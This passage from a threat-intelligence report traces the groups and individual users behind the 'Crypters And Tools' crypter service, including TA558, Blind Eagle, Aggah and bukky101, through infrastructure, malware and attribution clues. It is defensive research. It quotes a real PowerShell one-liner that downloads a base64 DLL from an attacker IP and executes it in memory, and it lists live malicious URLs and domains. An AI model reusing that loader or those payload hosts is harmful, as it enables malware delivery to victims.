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Key Findings

At least six known threat actor groups have used Crypters And Tools.
Some of them are interconnected, as we have shown in our research.
The Aggah group, which has not been mentioned since 2022, is still attacking users around the world.
We were able to identify several individual users of Crypters And Tools.
Some of these users are directly affiliated with the Blind Eagle and TA558 groups and are their members.

Introduction

In the first part of our research, we analyzed the crypter, Crypters And Tools, which we discovered during investigations into attacks carried out
by various threat actors. That article focused on the crypter's internal architecture and its supporting infrastructure. In this second part, we turn
our attention to the threat groups that have leveraged the crypter in real-world attacks, their interconnections and distinguishing characteristics,
as well as to some of the individual users of Crypters And Tools — several of them appear to be affiliated with the threat groups discussed.

Our research also confirms that the Aggah group continues to carry out attacks, despite earlier claims by some researchers that its activity
ceased in 2022.

Many researchers have encountered attacks involving Crypters And Tools and mistakenly interpreted some of its recurring features (the use
of Ande Loader, the $codigo variable, the crypter's network infrastructure) as unique to specific threat actors. We consider this a misattribution.
At the end of this article, we include references to all publicly available reports that mention Crypters And Tools or its earlier versions — Codigo
crypters.

Threat Groups Using Crypters And Tools

https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/crypters-and-tools-one-tool-for-thousands-of-malicious-files
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Table 1. Threat groups using Crypters And Tools

TA558 The group has been active since at least 2018 and initially targeted the tourism industry in Latin America, as well
as Western Europe and the United States, but later expanded its attacks to other regions. It uses phishing,
steganography and malware such as Agent Tesla, FormBook and Loda RAT.

Blind Eagle
(APT-C-36)

Since 2018 Blind Eagle has been attacking South America, especially Colombia, as well as Ecuador and Spain.
The group typically uses phishing and malware such as njRAT, BitRAT and AsyncRAT, primarily focusing on governmental
and corporate entities.

Aggah (Hagga) The group has been active since at least 2018. It conducts phishing campaigns targeting various countries, primarily
in Asia, though it has also been observed carrying out attacks in Latin America. Its toolset includes the 3LOSH crypter,
RevengeRAT and Agent Tesla. According to some researchers, certain members of the group are believed
to be of Pakistani origin.

PhaseShifters The group targets government entities in Russia, Belarus, and Poland. It employs phishing, steganography and public
repositories (such as GitHub and Bitbucket) to deliver malicious payloads. Its malware arsenal includes tools like
Rhadamanthys.

UAC-0050 Active since at least 2020. Targets government agencies in Ukraine, Poland and Russia. Distributes Remcos RAT,
Quasar RAT and Remote Utilities via phishing emails disguised as official documents.

PhantomControl Since July 2023 the group has been using compromised websites to distribute ScreenConnect, followed by AsyncRAT.
At some point, it switched to using Ande Loader to deliver SwaetRAT. It may be linked to the Blind Eagle group.

Table 2. Summary of groups using Crypters And Tools

Blind Eagle TA558 Aggah PhantomControl PhaseShifters UAC-0050

Geography of attacks

Latin America:
Colombia,
Ecuador, Chile,
Panama, Brazil

Latin America, North
America, Western
Europe

Latin America, North America,
Western Europe, Middle East, East
Asia

N/A Russia,
Belarus,
Poland

Russia,
Belarus,
Poland,
Ukraine,
Moldova, Baltic
states

Malware

Remcos RAT,
Async RAT,
njRAT,
Quasar RAT,
BitRAT,
LimeRAT 

Remcos RAT,
Async RAT, XWorm,
Lokibot, FormBook,
Agent Tesla,
RevengeRAT, njRAT,
LimeRAT

Rhadamanthys, XWorm,
Agent Tesla, Remcos RAT,
Warzone RAT, Nanocore RAT, njRAT,
AzoRult, Lokibot, RevengeRAT,
Async RAT, njRAT, LimeRAT

Async RAT,
SwaetRAT,
ScreenConnect

Rhadamanthys,
DarkTrack RAT,
Meta Stealer

Remcos RAT,
Meduza Stealer,
Lumma Stealer,
Quasar RAT

Language of emails and documents

Spanish,
Portuguese

Spanish, English,
languages of attacked
regions can be used

English, Spanish, may use
languages of attacked regions

 N/A Russian Ukrainian,
Russian,
Romanian,
English

Crypters And Tools Usage

2023–2025 2023–2025 2021–2023 2023 2024 2024

In this article, we focus on three threat groups — TA558, Blind Eagle and Aggah — as well as on users of Crypters And Tools who may
be affiliated with them. To illustrate some of the connections between these actors, we present the following table.
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Table 3. Intersections between groups

  Aggah Blind Eagle

TA558 Periodic use of the string "cdt" throughout all attacks
Attacks on hotels in 2018 
Similarity in the use of malware and cryptors (3LOSH,
Crypters And Tools)
Similar script code in attacks in 2024

Use of shared Crypters And Tools infrastructure
(servidorwindows.ddns.com.br)
Primary targeting geography: Latin America
Use of Spanish as the primary language in phishing email
Similar tools (AsyncRAT, Remcos RAT, etc.)

Aggah N/A Use of shared Crypters And Tools infrastructure
(149.56.200.165)
Some researchers have suggested that Aggah may
be a subgroup of Blind Eagle

All three groups remain active and continue to carry out numerous attacks. At present, Aggah appears to have stopped using Crypters
And Tools — or its recent campaigns have simply remained outside our visibility. However, the group itself is still active, as we will detail
in the corresponding section.

Meanwhile, TA558 and Blind Eagle continue to actively leverage the crypter.

For example, a report by Check Point Research published in March described attacks attributed to Blind Eagle. We observed the same
campaign as early as February and took note of the IP address 62.60.226[.]64, which was also listed in Check Point's indicators. At the time,
this host contained a large number of files associated with Crypters And Tools, although the crypter may not have been directly involved in that
particular campaign.

We will also discuss Blind Eagle campaigns later in the section covering Crypters And Tools users, specifically those operating under
the aliases deadpoolstart2025 and ABBAS, and their connection to the group.

In the case of TA558, one example of an attack involving Crypters And Tools is a phishing campaign observed in March that delivered
the following file:

Purchase Inquiry.xla (SHA-256: 55ea07bbd700488fd6330d289f210b2da119401a9e27009472d1afec2f6c6339)

The attack included URLs that are typical to TA558 campaigns:

http://104.168.7.38/xampp/knct/nicefeelingwithbestgoodthinksfor.txt
http://104.168.7.38/xampp/knct/Lightgreatloversonhereforlovingpeoplesalot.hta
http://104.168.7.38/xampp/knct/Lightgreatloversonhereforlovingpeoplesalot.png

Users operating under the aliases Brainiac, syscore, and negrocock, who are linked to TA558, will be discussed in more detail in a later
section.

It is important to note that TA558 and Blind Eagle do not rely exclusively on Crypters And Tools in their attacks. For instance, in April 2025,
we observed a typical TA558 phishing email.

https://ti.qianxin.com/blog/articles/Subgroup-of-Blind-Eagle-Analysis-of-Recent-Attack-Activities-from-Hagga-Group-EN/
https://research.checkpoint.com/2025/blind-eagle-and-justice-for-all/
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/crypters-and-tools-part-2-different-paws-same-tangle#Blind%20Eagle:%20deadpoolstart2025%20and%C2%A0ABBAS
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/crypters-and-tools-part-2-different-paws-same-tangle#TA558:%20Brainiac,%20syscore%20and%C2%A0negrocock
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Figure 1. Example of letter TA558

The email contained two malicious documents, which downloaded a payload from a server using a URL pattern typical of TA558:

http://216.9.224.185/33/eco/goodthingsforbestfeaturesgivenmegoodthingsforbest_______________goodthingsforbestfeaturesgivenme_____

Next, a script named goodthingsforbestfeaturesgivenme.vbe was downloaded and executed, resulting in the victim being infected with
Remcos RAT. Crypters And Tools was not used in this attack.

PhaseShifters, UAC-0050 and PhantomControl

As we mentioned in the first part of our research, we originally discovered Crypters And Tools while investigating the activities
of the PhaseShifters and UAC-0050 groups. The overlaps between these groups were described in one of our previous publications. Both
groups have used Crypters And Tools in their attacks; however, we found no direct connection between them and the developer of the crypter.

As for PhantomControl, there are only two public reports available, both published by eSentire. The first report makes no mention of Crypters
And Tools, but the second states that the group began using Ande Loader. In that report, the loader was attributed to Blind Eagle. However,
because Ande Loader is a component of Crypters And Tools, this attribution is not accurate. For instance, the links to paste.ee and the image
files cited in the article actually belong to the crypter's infrastructure. Therefore, the only thing we can confirm with certainty is that
PhantomControl has used Crypters And Tools in its attacks.

Features of TA558 and How It Differs from Blind Eagle

In articles where researchers encountered Crypters And Tools, there have often been false correlations made between different threat groups.
This is largely due to a lack of understanding that the crypter is a separate service, not a custom tool developed by any one group.
For example, a 2023 report by Qi An Xin suggested that Aggah might be a subgroup of Blind Eagle, based on significant similarities in TTPs,
partial overlap in malware toolsets and geographically adjacent targets. While we do not rule out this possibility, in our earlier research
we showed that many of the overlaps highlighted in that report can be explained by shared use of Crypters And Tools. Nevertheless, a detailed
analysis of the later stages of attack chains reveals distinct differences between TA558 and Blind Eagle.

In this section, we outline a number of characteristics that help distinguish between TA558 and Blind Eagle. These indicators will also be useful
in identifying links between these groups and specific Crypters And Tools users, which we will explore in the relevant section of this article.

Characteristic URLs and Filenames of TA558

TA558 campaigns frequently feature URL patterns that we do not associate with Crypters And Tools infrastructure. Examples include:

103.67.162.213/xampp/gd/kissingagirlissoeasyrecentlyireallyfeelsheismygirlineverwanttohurtherweneverwantotkissher_______ilovehertrulyfr
172.232.175.155/88122/bh/bh.h.h.h.hhhhh.doC
172.234.239.22/990099/gf/l.c.c.c.ccx.doC

In addition, TA558 campaigns often include recurring filename patterns. Examples of typical malicious file names include:

PO-24052800.xls
factura 00005111, 005114, 005115.pdf.xlam

https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/kids-don-t-copy-the-new-techniques-of-the-phaseshifters-group
https://www.esentire.com/blog/operation-phantomcontrol
https://www.esentire.com/blog/phantomcontrol-returns-with-ande-loader-and-swaetrat
https://ti.qianxin.com/blog/articles/Subgroup-of-Blind-Eagle-Analysis-of-Recent-Attack-Activities-from-Hagga-Group-EN/
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/crypters-and-tools-one-tool-for-thousands-of-malicious-files


6/30

Orden de compra 4000171682.docx

While these filenames are relatively distinctive, we should note that we have also seen similar naming patterns used by a threat actor known
as bukky101, who will be discussed later.

Characteristic Domains of TA558

TA558, Blind Eagle, and Aggah use various dynamic DNS services, such as duckdns.org, 3utilities, and us.archive.org. In most cases, these
domains are tied to Crypters And Tools infrastructure. For example, one of the URLs we previously identified as part of TA558's infrastructure
was later found hardcoded into a Crypters And Tools sample:

http://servidorwindows.ddns.com.br/Files/js.jpeg

Figure 2. URL previously attributed to TA558 found embedded in the crypter itself

At the same time, we have observed domains used in attacks that closely resemble those associated with TA558 and include files with
characteristic long filenames, but which do not appear in the crypter's internal configuration. Below are several examples of such domains,
which include repeated letters in the names of weekdays:

mondayyyyvbsgreeceee.duckdns.org
wednesdayyyyyyfile.duckdns.org
thursdayyyyyyfileeee.duckdns.org
fridayyyyvert.3utilities.com

Infrastructure Differences between TA558 and Blind

Blind Eagle predominantly uses Colombian ASNs, whereas we have not observed such usage in campaigns attributed to TA558. The table
below lists ASNs commonly used by each group, along with example IP addresses attributed to TA558 and Blind Eagle within those ASNs.

Table 4. Threat actor infrastructure

Group Top-ASN groups Example of IP addresses

Blind Eagle Colombia Movil 179.15.149.222

191.88.255.30


181.134.151.81

181.131.216.73

181.52.105.166

Telmex Colombia

Tigo — UNE

TA558 AS-COLOCROSSING 192.210.150.33

107.172.148.248


104.168.7.36

149.28.237.172


172.234.217.133

Akamai Connected Cloud

AS-VULTR

Aggah. New Attacks and Connection with TA558

Aggah (also known as Hagga) is a threat group that conducts phishing campaigns on a global scale. Its malware arsenal includes
RevengeRAT, Agent Tesla, Nanocore RAT, Warzone RAT, njRAT, AzoRult and others. A notable element in the group's attack chains is its
frequent use of serverless infrastructure to host malicious payloads such as Blogspot, Pastebin or archive.org. In 2018 a FreeBuf article
revealed the alleged identity behind the group and linked it to actors of Pakistani origin.

https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world
https://www.freebuf.com/articles/paper/168528.html
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Below, we examine several connections between TA558 and Aggah based on open-source intelligence and previously observed campaigns.
However, further analysis would be required to assert that they are in fact the same group. At this stage, it is reasonable to assume that Aggah
maintains ties to TA558, possibly through sharing tooling, malware and attack strategies.

To illustrate the connection between Aggah and TA558, we begin by revisiting Aggah's earliest known campaigns, which were documented
prior to the group receiving its name.

Early Mentions of Aggah

The first signs of activity linked to this threat actor date back to 2018, during the Roma225 and Operation Commando malware campaigns.
The attribution of these campaigns to the Aggah group is outlined in the following sections.

Attacks in 2018

The Roma225 malware campaign was analyzed and published in December 2018 by researchers at Yoroi. The report described
the distribution of RevengeRAT via PowerPoint documents with payloads hosted on Blogspot. Two key details from that article are worth
highlighting: the metadata of the malicious document listed the author as C.D.T Original and the "cdt" string was repeatedly used in code
variables.

Figure 3. Metadata of the malicious document

Figure 4. Malicious script containing "CDT" strings (source: Yoroi report)

At that time, Aggah had not yet been named. However, it is worth noting that TA558 was first mentioned in the report by Proofpoint, published
in 2018. Interestingly, that research referenced the same metadata and network indicators of compromise as those observed
in the Roma225 campaign: the document author of C.D.T Original and the domain cdtmaster[.]com. Nevertheless, no direct connection
between Roma225 and TA558 was identified in the Proofpoint report.

Figure 5. Mention of document metadata in Proofpoint's publication

Figure 6. Mention of malicious domain in Proofpoint's publication

https://yoroi.company/research/the-enigmatic-roma225-campaign/
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
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Attacks in 2019

In March 2019, Unit 42 (a division of Palo Alto Networks) published a report on a campaign called Operation Commando, which targeted hotel
chains. The campaign shared multiple similarities with Roma225, summarized in the comparison table below. Based on these overlaps,
it is reasonable to conclude that both campaigns were conducted by the same threat actor, which, at that time, still had not been named Aggah
yet.

Table 6. Comparison of domains used in the two campaigns

Unit 42 — Operation Comando Yoroi — Roma225

Dropurls

minhacasaminhavidacdt.blogspot[.]com minhacasaminhavidacdt.blogspot[.]com

internetexplorer200[.]blogspot[.]com pocasideiascdt.blogspot[.]com

  cdtmaster[.]com.br

C2

systenfailued.ddns[.]com[.]br systen32.ddns[.]net

office365update[.]duckdns[.]org office365update[.]duckdns.org

cdtoriginal[.]ddns[.]net  

In 2019, attacks om hotels continued, including campaigns attributed to TA558. However, clear overlaps between TA558 and the Aggah
in these campaigns had not been observed yet.

Hagga == Aggah. The Naming 

In April 2019, Unit 42 published a report titled "Aggah Campaign". The article described attacks involving RevengeRAT and the abuse
of legitimate services such as Pastebin, Blogspot, Bit.ly. The campaign was named "Aggah" after the string "hagga", which appeared
in the malware's configuration. The same string was also used as a Pastebin username. More importantly, the report highlighted overlaps with
previous campaigns establishing continuity with earlier activity:

A mutex name with a typo in "System32" — RV_MUTEX-WindowsUpdateSysten32,
Use of keywords such as oldman, steve, hagga, and roma225 in the RevengeRAT config,
Network indicators from previous attacks: office365update.duckdns[.]org, systen32.ddns[.]net.

Figure 7. RevengeRAT configuration containing the key hagga (source: Unit 42 report)

These findings confirmed that Aggah was behind both the Roma225 and Operation Commando campaigns.

One of the most notable details from the article was the presence of the identifier HOTEIS NOVOS ("new hotels" in Portuguese) used in the
malware configuration. This is particularly significant, as TA558 was also conducting hotel-targeted phishing campaigns during that period, with
lure content and documents written in Portuguese.

https://unit42.paloaltonetworks.com/operation-comando-or-how-to-run-a-cheap-and-effective-credit-card-business/
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/
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Figure 8. RevengeRAT configuration with Portuguese identifier (source: Unit 42 report)

Attacks in 2020–2022

From 2019 to 2021 Aggah distributed AzoRult using its own command-and-control panel known as ManaTools. The word "mana" appears
frequently in connection with the group — both in document metadata and domain names. In one of the following sections, we will examine
a possible link between Aggah and Crypters And Tools, and this naming convention is one of the supporting factors.

Figure 9. ManaTools command-and-control panel

Examples of domains used by Aggah in 2019 include:

mastermana1.serveirc[.]com
mastermana2.serveirc[.]com
mastermana3.serveirc[.]com
mastermana4.serveirc[.]com
mastermana5.serveirc[.]com

https://web.archive.org/web/20211016101818/https:/yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/
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Figure 10. Document metadata from Aggah's malicious files

During the 2020–2022 period, we observed several noteworthy overlaps between TA558 and Aggah:

Similar targeting geographies: Latin America and Western Europe.
Overlapping malware sets: both groups used Remcos RAT, RevengeRAT and AzoRult.
In 2021, the address 3.218.4.249 was used by both groups to host malicious payloads.
Both groups used domains containing the string «cdt»:

warzonecdt[.]duckdns[.]org (ТА558, source: Proofpoint),
ccnewcdt[.]duckdns[.]org (Aggah, one of the domains that resolved to 192.154.226[.]47, source: Team Cymru).

Shared metadata and similar macro code found in malicious documents.

Figure 11. Macro code comparison: Aggah (left) vs TA558 (right)

Figure 12. Embedded OLE object authors: Aggah (left) vs TA558 (right)

Attacks in 2023–2025

Although public reporting suggests that Aggah ceased activity in 2022, we have identified several indicators suggesting that the group remains
active.

While searching for signs of recent activity, we came across files based on coding style and specific markers which strongly resemble previous
Aggah campaigns. Further research linked them to a phishing operation referred to as MEME#4CHAN, described in a 2023 report
by Securonix. Although the article did not attribute the campaign to any specific group, the overlaps we found point to Aggah as the most likely
origin.

Several key indicators match patterns from earlier Aggah activity:

Email themes centered on the hospitality and travel industries. While these are common topics in phishing, Aggah has used them
repeatedly. Moreover, document filenames appeared in both English and Portuguese, just as in the group's 2019 campaigns.
Use of serverless infrastructure: Blogspot, MediaFire, usrfiles.
Coding style: Many scripts appeared to be manually written using unconventional and sometimes humorous variable names, along with
Urdu words. It aligns with earlier suggestions that the group may have Pakistani origins.

A particularly notable example was a PowerShell script containing the variable $ALLSAVEBACKUP, pointing to the Blogspot page
backuphotelall.blogspot[.]com, along with a distinctive comment string that appeared in several later Aggah campaigns.

https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://www.team-cymru.com/post/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor
https://www.securonix.com/blog/securonix-threat-labs-security-meme4chan-advisory/
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Figure 13. Excerpt from a PowerShell script (source: Securonix report)

Figure 14. Repeated comment (source: Securonix report)

The Blogspot page was used to host malware files that were also found mirrored on other Blogspot domains and in Bitbucket repositories. One
such file was all.txt, accessible via the following links:

https://bitbucket[.]org/!api/2.0/snippets/nikkerkhan/5qkMXX/c193c8cd66ad1405f4a0ebc7293d71d0f287eb98/files/all.txt

https://backuphotelall.blogspot[.]com/atom.xml

https://otherbusinesssep23.blogspot[.]com/atom.xml

https://backupalllogsmay23.blogspot[.]com/atom.xml

https://hotelbackuppowaug.blogspot[.]com/atom.xml

https://otherbizzunus.blogspot[.]com/atom.xml

These links point to campaigns that occurred after MEME#4CHAN. For example, hotelbackuppowaug.blogspot[.]com was used to host a file
named lnvoice 1882936796.js, which code included comments matching earlier Aggah scripts. A full sandbox analysis is available on AnyRun.

Figure 15. Aggah attack involving Agent Tesla

https://app.any.run/tasks/72a87633-a275-4c79-b51f-5bf0a42faad7
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Figure 16.1. PowerShell sample from attack (September 2023)

Figure 16.2. PowerShell sample from attack (February 2023)

Research into these attacks led us to a campaign launched in late 2023, during which Aggah began distributing malware with tax- and invoice-
related themes, typically deploying XWorm or Agent Tesla. The use of Blogspot and Bitbucket continued, and the script code showed minimal
changes.

A sample from this campaign: Robert_Michael_Tax_2023.js. It is an obfuscated JavaScript file that contacted the Bitbucket repository
kimkardaikehsi to retrieve Agent Tesla. The script structure remained consistent with previous examples.

Figure 17. PowerShell code fragment from attack (June 2024)

And in network indicators you can see the use of the phrases "cpa" and "mana":

manablack.duckdns[.]org

cpamay2024.duckdns[.]org

cpanewminemay24.duckdns[.]org

In 2025, Aggah attacks continue, but the main payloads are now Rhadamanthys and XWorm. A typical infection chain starts with
an obfuscated JavaScript file (often named after taxes or reporting forms), which eventually leads to the execution of PowerShell code
(Figure 18).

Figure 18. PowerShell code executed upon opening the JavaScript file

When accessing Blogspot, a redirect occurs to Bitbucket, from where the final PowerShell script is downloaded, installing malware
on the victim's device. It is worth noting that in some cases, an additional geolocation check occurs before downloading the malicious payload,
which allows attackers to select the appropriate versions of malware depending on the region. Examples of infections using XWorm
and Rhadamanthys can be found in AnyRun reports.

https://app.any.run/tasks/46306d5d-5bac-4649-9d22-981ddd1c44d1
https://app.any.run/tasks/792d5f75-6728-4fb3-96da-60e1d491c7a1
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Figure 19. Geolocation check prior to malware delivery

More Intersections of Aggah with TA558

In 2024, researcher IdaNotPro published an analysis of a TA558 phishing file in a blog post titled "TA558 Targeting Brazil". The campaign
featured familiar elements: phishing lures related to the hospitality industry, and C2 domains containing cdt, a pattern observed in infrastructure
used by both TA558 and Aggah

When comparing the analyzed file to previously documented Aggah samples, we found several notable overlaps:

One PowerShell stage downloaded content from detail-booking.com[.]br, similar to chains seen in Aggah campaigns. For example,
TA558 used a function named kimkarden, while Aggah samples referenced Bitbucket user kimkardaikeshi. The code structures also
shared similarities.

https://somedieyoungzz.github.io/posts/ta558/
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Figure 20. On the left is the Aggah code (MD5: 11117203c6f2c96f6b78fd19bc27e49c), on the rights is the TA558 code (MD5:
c90688783f910b2b4165e2263012e19b)

Several files tied to the detail-booking.com[.]br, domain (used by TA558) had naming patterns consistent with Aggah's earlier campaigns.
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Figure 21. Files associated with detail-booking.com[.]br

One of the TA558 files communicating with the final C2 domain cdt2023.ddns.net contained "CPA" strings in its configuration — another
recurring indicator linked to Aggah operations.

Figure 22. Configuration of one of the files (

Comparing Aggah's attacks to TA558's campaigns, despite similarities in infrastructure and methods, does not allow one to definitively
conclude that they are the same group. However, it does demonstrate that the groups can share tools, ideas, and resources.

Use of Crypters And Tools by the Aggah Group

In the section discussing Aggah's activity between 2020 and 2022, we noted the group's use of a panel known as ManaTools. In 2021, Aggah
began using the 3LOSH crypter as well as FsocietyAndTools — an earlier version of what would later become Crypters And Tools. During our
analysis of campaigns from 2021–2022, we identified several artifacts suggesting links between Aggah and the Codigo crypter family.
For example, the IP address 198.50.177[.]251 was used to host multiple resources, including a mastermana directory containing payloads
associated with Aggah campaigns, as well as an account belonging to the crypter's developer, nodetecton. That same account appeared
in the crypter's execution chain.
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-windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-
Object Net.WebClient).DownloadString('http://nodetecton@198.50.177.251/dll/1.txt'));
[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] 
('txt.85618406295/anamretsam/152.771.05.891//:ptth'))"

In addition, as mentioned earlier, in 2019–2021, researchers noticed the use of the Mana Tools control panel developed by Aggah
in the group's attacks. Among the attacks of 2022, an attack using the XWorm malware was detected, where a Telegram bot was used
as a C2 channel, with which the @mastermana account communicated.

Figure 23. Telegram account @mastermana

Searching for references to this Telegram handle led us to a YouTube channel named "Tiny Technology", which features demo videos
of various exploits. Most of the videos prominently display the ManaTools logo, but there are several other notable details:

Usernames on the computer and virtual machines (Master MANA, 007 and others).
Use of the Bitbucket repository hogya, which had previously been observed in Aggah campaigns (Figure 24).
The Crypters And Tools cryptor interface, which contains the logos of both tools, suggesting a possible connection or collaboration
(Figure 25).
The presence of Crypters And Tools in the attacker's system in 2023 (Figure 26).

https://www.youtube.com/@tinytechnology2029/
https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/


17/30

Figure 24. File creation in the hogya repository (screenshot from video)

Figure 25. Combined use of Crypters And Tools and ManaTools (screenshot from video)
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Figure 26. Crypters And Tools seen in use by Aggah in 2023 (screenshot from video)

Users of Crypters And Tools and Their Links to Threat Groups

As stated in the first part, the maximum number of active cryptor users we found was 42 (as of November 26, 2024). It is worth noting that
the list included service administrators, users with different nicknames but the same HardwareID, and test users. That is, the actual number
of active cryptor subscribers was smaller. 

Among them, we found several interesting users.

bukky101

The next user in the database interested us.

Figure 27. Information from the database about the user bukky101

This user was mentioned by eSentire specialists in their article dedicated to phishing attacks using Ande Loader, which led to infection with
the 0bj3ctivity stealer. According to the article, exfiltrated data was sent to a Telegram bot operated by a user identified as bukky101. Based
on our current understanding, it is clear that Crypters And Tools was used in the attack described in that publication.

We conducted a deeper investigation into this actor and their operations. For example, in May 2024, bukky101 delivered a sample of Agent
Tesla (SHA-256: 5a8794fa12ff401f9f7212e497d5d877010f493e3bb028abd54cb12f60fc550f). 

The data was exfiltrated via the attacker's SMTP server at boydjackson[.]org. Notably, the malware used the password Bukky101@, directly
linking the sample to the alias. The researchers described one of the attacks in detail in their article.

https://www.esentire.com/blog/ande-loader-leads-to-0bj3ctivity-stealer-infection
https://blog.delivr.to/analysis-of-an-agenttesla-pif-sample-ad3785ff1609
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During our analysis, we identified numerous victims across a wide range of countries. The list includes: Armenia, Greece, India, Iraq, Italy,
Cyprus, Colombia, Malaysia, UAE, Pakistan, Saudi Arabia, Singapore, and Turkey. Victims came from vastly different industries,
and no consistent targeting pattern could be established in who was attacked by Bukky101.

In one case, the attacker accidentally executed the malware on their own system, which gave us access to a wealth of telemetry, including:

clipboard contents;
list of installed applications;
system information including IP address, antivirus, emulators, and sandbox detections;
Windows license keys
browser histories;
download histories;
most visited websites
session data for applications like Telegram and Skype;
lists of Wi-Fi networks with corresponding names and passwords.

These indicators allowed us to confidently attribute that bukky101 is from Nigeria. This conclusion is supported not only by IP geolocation but
also by the use of local internet services provided by Airtel Nigeria.

In addition, we found that the actor was engaged in high-volume phishing activity targeting multiple regions. As of February 2025, bukky101
had sent over 6,160 unique phishing emails. Below are a few examples of subject lines, illustrating the diversity in social engineering themes:

DETAIL OF H Sale order # 128578 (PAKISTAN.PACKAGES)
Position for the Head of IT / Manager IT
Прайс лист на продукцию
محاكم راس الخيمة إعلان:3100134384
[Gabrini Cosmetics]: New order #80464
Re: Proposal of Stall Design and Fabrication for AAHAR Expo 04-08 March 2025 (New delhi)
✅ Нов термин за работилница: Последни измени на Законот за јавни набавки, актуелни теми и предизвици
Atașez și poze cu , coletul ce mi-a ajuns , și factura lângă
Factura fiscala cutii carton_22.11.2024
Dit verandert er in de tarieven en voorwaarden op ons platform
REQUEST FOR PROPOSAL FOR WORLD VISION ZIMBABWE
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Figure 28. Example of a phishing email sent by bukky101

The majority of these phishing emails contained HTML attachments with a pre-filled login field corresponding to the target's email address.
When a user entered their password into the form, they were shown an error message claiming the credentials were invalid. However, at that
exact moment, the password was exfiltrated via a request sent to a Telegram bot, notably, not operated by bukky101, but instead by another
user — @Gfcafmin.
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Figure 29. HTML document containing a pre-filled login field tied to bukky101

We also identified an open directory associated with bukky101, hosted at the IP address 37.49.228.234, which was mentioned in a post
on the social network X.

Figure 30. Open directory hosted at 37.49.228.234 associated with bukky101

While investigating bukky101, we discovered that he collaborates with multiple individuals from the cybercriminal underground. One such
partner operated a server at 185.38.142.224, which was used to distribute phishing emails on a global scale. According to our data, at least
60,300 emails were sent from this IP address within a single day.

Below is an example of one such email.

https://x.com/DonPasci/status/1764696154212602346
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Figure 31. Malicious email sent by one of bukky101's associates

Clicking the link initiates the download of a JavaScript file from the following site:

https://21ninety.info/file/Purchase-Order.js

This script retrieved additional data from paste.ee, and then made an API request to a Crypters And Tools server to download the next-stage
payload:

3005.filemail.com/api/file/get?filekey=

The exfiltrated data was ultimately sent to a Telegram bot operated by the user "To The World Master Solution" — @Mastersolution2.

Previously, researchers noted a connection between the Aggah group and cybercriminals from Nigeria, who borrowed their tools. This
observation aligns, at least in part, with the evidence presented above.

Blind Eagle: deadpoolstart2025 and ABBAS

During our research into the Blind Eagle group, we identified a server at 181.71.217.114, which belongs to a familiar ASN used by the group
Colombia Movil (AS27831). Most of the domains associated with this IP address followed the pattern strekhostYYYY, such
as strekhost2024[.]duckdns[.]org. According to a publicly available GitHub repository, these domains were attributed to Blind Eagle
by researchers at Zscaler.

In addition to the strekhost-patterned domains, we also found several others, including:

deadpoolstart2025.duckdns.org
deadpoolstart2026.duckdns.org
deadpoolstart2051.duckdns.org

We also found additional deadpoolstart domains with varying years hosted on a different IP address: 179.14.11.213. One example
is deadpoolstart2035.duckdns.org.

As it turns out, the Crypters And Tools database contains a user registered under the alias deadpoolstart2025.

https://medium.com/@paul.k.burbage/aggah-not-exactly-apt-5e51aaff95f5
https://github.com/ThreatLabz/iocs/blob/main/blindeagle/blindeagle_domains.txt
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Figure 32. Information from the database about the user Deadpoolstart2025

One of this user's attacks unfolded as follows.

On November 14 in 2024, the attacker sent a malicious email impersonating a Colombian pharmaceutical manufacturer.

Figure 33. Email sent by the attacker

The link led to a Google Drive file hosting a password-protected archive named:

FOLIO_INCONSISTENCIA_REVISION_FISCAL_CARTERA_DETALLES_DETALLES_AMPLIADOS_CODIGO_VERIFICACION_ad851874148487
(SHA-256: 5fe3f4e4ab026fbcd0b595c7b35eb3b3997cae0fc8b92728b0bd556a3ec3c092). The password for the archive was included
in the body of the phishing email. Inside the archive was a VBS file: (SHA-256:
937fcba2f15c795a209032a36a921fe9f53ea7a47e7295573cd1c0ebb8d9d241. Upon execution, the VBS script added itself to system startup
and fetched a malicious script from paste.ee.

The downloaded script included a base64-encoded PowerShell command containing the familiar $codigo variable. Once launched, the script
retrieved a payload via the Crypters And Tools API hosted at 1017.filemail.com, and additionally contacted files.catbox.moe. Ultimately,
the infection chain led to the deployment of AsyncRAT, with the C2 server pointing to the attacker's infrastructure rather than the crypter's —
deadpoolstart2025.duckdns.org (181.71.217.114).

We identified multiple campaigns linked to this user, with most activity concentrated between November 2024 and February 2025. In all
documented cases the attacker deployed AsyncRAT. One particular detail that stood out was the structure of the AsyncRAT mutex used
in these attacks:

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzNUEVOHOSTMALDITASEA 

From Spanish "nuevo host, maldita sea" translates to "new host, damn it".

During our analysis, we also discovered a Crypters And Tools server that was used to interact with the crypter via its API. Based on one
of the requests we identified, one of the users of the service was an individual operating under the alias ABBAS:

http://91.92.254.29/Users_API/ABBAS/file_odpxh4oq.2bf.txtn
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A closer look at the attack chain reveals clear correlations with Blind Eagle operations. For instance, the use of IP addresses such
as 191.93.113.10 and 152.201.184.91, both hosted by Colombian providers commonly associated with Blind Eagle. Additionally, the structure
of this attack aligns closely with descriptions published in a recent report by Check Point.

The user ABBAS appeared in every version of the Crypters And Tools database we monitored throughout the course of the research.

Figure 34.1. Information from the database about ABBAS user

Figure 34.2. Information from the database about ABBAS user

As a result, we conclude that unlike bukky101, who cannot be definitively attributed to either Aggah or TA558, the activities
of deadpoolstart2025 and ABBAS fully align with the profile of Blind Eagle. This includes the language used, target demographics and server
